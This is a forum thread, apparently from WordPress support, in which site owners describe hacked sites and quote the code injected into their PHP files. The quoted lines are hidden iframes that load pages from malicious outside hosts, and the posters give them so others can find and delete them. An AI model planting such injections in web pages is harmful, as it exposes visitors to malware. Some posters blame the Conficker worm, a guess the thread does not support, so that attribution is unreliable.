    By mistake I copied and pasted a Microsoft Word document and I think this caused this problem.

    Into what, a post? If so, edit that post – go to the HTML tab and remove all the code that relates to MS Word, like MsoNormal, and the styles it adds.

    This error appeared in my site too. I checked the default-filters.php file and I came to know that this error is due to a line added by widely spread Conficker worm. To remove the error from your site follow these steps:
    1) Scan your PC for existence of Conficker worm. And after cleaning it access your ftp else possibilities are that it might affect other files too.
    2)After cleaning your system open default-filters.php in a text-editor and scroll to the bottom of the file. There you will be able to see a line like
    add_action('<iframe>...
    Delete this complete line. And save the file and re-upload it to your web server. Your site will start working.

    I recommend that you check all your files for the existence Conficker worm.

    Any resolution?

    I think it’s the conficker worm because at the bottom of my index.php in both public and wp-admin I see this:

    <iframe src=”http://newnetnameshop.cn:8080/index.php&#8221; width=138 height=133 style=”visibility: hidden”></iframe>

    which I deleted but still not repaired.

    GoDaddy Engineers are looking into the issue now

    Even I’m getting the same error.

    I checked my index.php file, found this code added into the file. There many other php file which has been infected with the below code.

    // Silence is golden.
    <iframe src=”http://2mj.pl:8080/ts/in.cgi?pepsi74&#8243; width=125 height=125 style=”visibility: hidden”></iframe>

    I just recently found this on my index page when I tried to view my site. It was fine about 2 weeks ago, my site looked normal and just how it should. Now I’m getting:

    Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/dolcezza/public_html/index.php on line 1

    Parse error: syntax error, unexpected ‘<‘ in /home/dolcezza/public_html/index.php on line 1

    I’ve googled this problem and someone on another forum had said that they found a solution — turning OFF Developer Mode. However, when I try to login as administrator, I can log in, but all that I’m directed to is a completely blank page! 🙁

    ANY help with this would be much appreciated.

    [I am not w/ GoDaddy].
